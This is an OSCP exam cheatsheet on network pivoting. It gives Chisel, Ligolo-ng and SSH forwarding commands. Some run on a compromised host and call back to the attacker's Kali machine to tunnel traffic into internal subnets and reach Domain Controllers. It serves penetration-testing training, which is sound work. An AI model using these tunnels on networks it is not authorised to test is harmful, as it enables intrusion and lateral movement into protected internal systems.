OSCP Pivoting & Port Forwarding Cheatsheet: Chisel, SSH & Ligolo-ng
Target Audience: Candidates needing to route traffic to internal dual-homed networks and Domain Controllers
During the exam, always test your proxychains setup with a fast `proxychains curl -s http://internal-ip` before running large port scans. Remember that standard nmap UDP and SYN scans will fail through SOCKS proxies; always use `-sT -Pn -n`.
# Chisel Reverse SOCKS Proxy (The OSCP Standard)
Chisel is the industry standard for crossing network segmentation during OSCP exams. It tunnels SOCKS5 traffic over an encrypted HTTP connection.
# Step 1: On Kali (Server / Listener)
./chisel server -p 8000 --reverse
# Step 2: On Compromised Target (Client)
# Forward internal subnet to Kali's local port 1080
./chisel client 192.168.45.10:8000 R:socks
# Step 3: Configure /etc/proxychains4.conf on Kali
# Add at bottom of config:
socks5 127.0.0.1 1080
# Step 4: Scan internal network through proxy
proxychains nmap -sT -Pn -p 80,445,3389 192.168.10.10# Ligolo-ng: Tun-Interface Modern Pivoting
Ligolo-ng establishes a virtual TUN interface on Kali, removing the clunky `proxychains` wrapper and allowing tools like nmap SYN scan (`-sS`) to work natively.
# 1. Setup TUN interface on Kali
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# 2. Run Ligolo Proxy on Kali
./proxy -autocert
# 3. Run Agent on Compromised Pivot Machine
./agent -connect 192.168.45.10:11601 -ignore-cert
# 4. Add routing table in Kali
sudo ip route add 192.168.10.0/24 dev ligolo# SSH Dynamic & Local Port Forwarding
When SSH credentials are recovered on an internal Linux node, native OpenSSH tunnels eliminate the need to drop 3rd party pivoting binaries.
# 1. Dynamic Port Forwarding (SOCKS5 proxy on local 1080)
ssh -N -D 1080 user@192.168.45.20
# 2. Local Port Forwarding (Tunnel remote port 80 to Kali 8080)
ssh -L 8080:127.0.0.1:80 user@192.168.45.20
# 3. Remote Port Forwarding (Expose Kali web server port 8000 to remote 9000)
ssh -R 9000:127.0.0.1:8000 user@192.168.45.20